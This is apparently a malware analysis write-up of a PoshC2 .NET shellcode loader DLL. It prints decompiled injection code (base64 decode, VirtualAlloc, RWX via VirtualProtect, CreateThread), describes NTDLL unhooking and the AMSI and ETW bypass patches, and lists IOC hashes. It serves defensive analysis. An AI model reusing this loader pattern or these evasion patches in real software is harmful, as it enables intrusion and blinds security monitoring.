Skip to main content

PoshC2: Sharp_v4_x64.dll

Table of Contents

TL;DR
#

A .NET DLL selects one of two embedded base64-encoded shellcode blobs based on process architecture (x86/x64), decodes it, allocates RWX memory, and executes it via CreateThread. The shellcode performs three evasion steps — NTDLL unhooking, AMSI bypass, and ETW bypass — then executes an embedded PE32 payload identified as a PoshC2 Dropper-cs.exe.

Initial Analysis
#

1Sharp_v4_x64.dll: PE32+ executable (DLL) x86-64 Mono/.Net assembly, 3 sections
2SHA256: 56ed93571e83ca344757d8ce809b5bf8ed5004cdeea92a40ea486b8478b7b26e

imports
#

3 P/Invoke imports from kernel32.dll used for shellcode injection:

1VirtualAlloc    p/Invoke  kernel32.dll
2VirtualProtect  p/Invoke  kernel32.dll
3CreateThread    p/Invoke  kernel32.dll

This RW→RWX pattern is a indicator of shellcode injection - allocate as writable, write payload, then flip to executable before spawning a thread.

1PAGE_READWRITE          → initial allocation
2PAGE_EXECUTE_READWRITE  → after VirtualProtect call

Static Analysis
#

DNspy
#

The DLL was decompiled with dnSpy. The Main method contains two large base64 strings — one for x86 (s2) and one for x64 (s). Architecture is determined via IntPtr.Size:

1private static void Main(string[] args)
2{
3    byte[] array = null;
4    string s  = "6AAAAABZSYnISIHBIwsAALpFd2Iw..."; // x64 shellcode
5    string s2 = "6AAAAABYVYnlicIF/wsAAIHC/1MC..."; // x86 shellcode
6...[snip]...

The execution flow is: decode base64 -> allocate RW memory -> copy shellcode -> change protection to RWX via VirtualProtect -> execute via CreateThread -> block indefinitely with WaitOne.

 1    if (IntPtr.Size == 4)
 2        array = Convert.FromBase64String(s2);
 3    else if (IntPtr.Size == 8)
 4        array = Convert.FromBase64String(s);
 5
 6    IntPtr intPtr = Program.VirtualAlloc(IntPtr.Zero,
 7        (IntPtr)(array.Length * 2),
 8        Program.AllocationType.COMMIT,
 9        Program.Protection.PAGE_READWRITE);
10
11    if (intPtr != IntPtr.Zero)
12    {
13        uint num = 0U;
14        uint num2 = 0U;
15        Marshal.Copy(array, 0, intPtr, array.Length);
16        Program.VirtualProtect(intPtr, (IntPtr)(array.Length * 2),
17            Program.Protection.PAGE_EXECUTE_READWRITE, out num);
18        Program.CreateThread(IntPtr.Zero, 0U, intPtr,
19            IntPtr.Zero, 0U, out num2);
20        WaitHandle waitHandle = new EventWaitHandle(false,
21            EventResetMode.ManualReset);
22        waitHandle.WaitOne();
23    }

IDA
#

Checking strings revelad that the shellcode contains a configuration block that controls which evasion features are enabled at runtime:

1AMS=1   → AMSI bypass enabled
2ETW=1   → ETW bypass enabled
3NTD=0   → NTDLL unhooking disabled
4DLL=1   → DLL mode
5SLP=0   → Sleep evasion disabled

NTDLL Unhooking
#

The shellcode contains a function that bypasses EDR/AV hooks by replacing the in-memory ntdll.dll .text section with a clean copy loaded directly from disk via LoadLibraryEx with flag 0x80000000 (map as data file, not executed). This restores any syscall stubs that may have been patched with EDR trampolines back to their original bytes.

NTDLL unhooking — .text section replacement
NTDLL unhooking — disk mapping via LoadLibraryEx

AMSI Bypass
#

The shellcode locates AmsiScanBuffer in memory and patches its entry point with a ret instruction, causing all subsequent AMSI scan calls to return immediately without scanning.

AMSI bypass — AmsiScanBuffer patch

ETW Bypass
#

The shellcode locates EtwEventWrite in ntdll and patches its first byte with 0xC3 (ret), disabling Event Tracing for Windows and preventing the OS from logging telemetry about shellcode execution.

ETW bypass — EtwEventWrite patch

Embedded PE
#

The shellcode contains an embedded base64-encoded PE identified by the TVqQ magic header (MZ signature):

1seg000:000000000001BA58  TVqQAAMAAAAEAAAA/AALgAAAA...

Extracted with Python:

 1import base64
 2import re
 3
 4with open("mw.bin", "rb") as f:
 5    dadta = f.read()
 6
 7m = re.search(b'TVqQAAMAAAAEAAAA[A-Za-z0-9+/=]+', d)
 8pe = base64.b64decode(m.group(0))
 9
10with open("mw_extracted.exe", "wb") as out:
11    out.write(pe)
1$ file mw_extracted.exe
2mw_extracted.exe: PE32 executable (console) Intel i386 Mono/.Net assembly, 3 sections

SHA256 comparison confirmed this is identical to the previously analyzed Dropper-cs.exe — full analysis available here:

18e5eeb667a962dbee803572f951d08a65c67a42ecb6d6eaf8ebaaf3681e26154  mw_extracted.exe
28e5eeb667a962dbee803572f951d08a65c67a42ecb6d6eaf8ebaaf3681e26154  dropper_cs.exe

IOCs
#

Files
Sharp_v4_x64.dll — .NET shellcode loader
- SHA256: 56ed93571e83ca344757d8ce809b5bf8ed5004cdeea92a40ea486b8478b7b26e
mw_extracted.exe — embedded PoshC2 dropper
- SHA256: 8e5eeb667a962dbee803572f951d08a65c67a42ecb6d6eaf8ebaaf3681e26154

Attack Flow
#

%%{init: {'theme': 'base', 'themeVariables': { 'background': '#ffffff', 'mainBkg': '#ffffff', 'primaryTextColor': '#000000', 'lineColor': '#333333', 'clusterBkg': '#ffffff', 'clusterBorder': '#333333'}}}%%
graph TD
    classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px,color:#000;
    classDef input fill:#e1f5fe,stroke:#0277bd,stroke-width:2px,color:#000;
    classDef check fill:#fff9c4,stroke:#fbc02d,stroke-width:2px,stroke-dasharray: 5 5,color:#000;
    classDef exec fill:#ffebee,stroke:#c62828,stroke-width:2px,color:#000;
    classDef term fill:#e0e0e0,stroke:#333,stroke-width:2px,color:#000;

    Load([Sharp_v4_x64.dll Loaded]):::input --> Main[Main - Entrypoint]:::input

    subgraph Shellcode_Selection [Shellcode Selection]
        Main --> ArchCheck{IntPtr.Size}:::check
        ArchCheck -- "== 4 (x86)" --> DecodeX86[FromBase64String s2]:::exec
        ArchCheck -- "== 8 (x64)" --> DecodeX64[FromBase64String s]:::exec
    end

    subgraph Injection [Memory Injection]
        DecodeX86 --> Alloc[VirtualAlloc RW]:::exec
        DecodeX64 --> Alloc
        Alloc --> Copy[Marshal.Copy shellcode to memory]:::exec
        Copy --> Protect[VirtualProtect → RWX]:::exec
        Protect --> Thread[CreateThread]:::exec
    end

    subgraph Evasion [Evasion]
        Thread --> NTD{NTD=0}:::check
        NTD -- Enabled --> Unhook[NTDLL Unhooking
replace .text from disk]:::exec NTD -- Disabled --> AMSI Unhook --> AMSI{AMS=1}:::check AMSI -- Enabled --> AMSIPatch[AmsiScanBuffer → ret]:::exec AMSI -- Disabled --> ETW AMSIPatch --> ETW{ETW=1}:::check ETW -- Enabled --> ETWPatch[EtwEventWrite → ret]:::exec ETW -- Disabled --> PE ETWPatch --> PE end subgraph Payload [Embedded Payload] PE[Extract embedded PE
TVqQ base64]:::exec --> Dropper((Dropper-cs.exe
PoshC2)):::exec end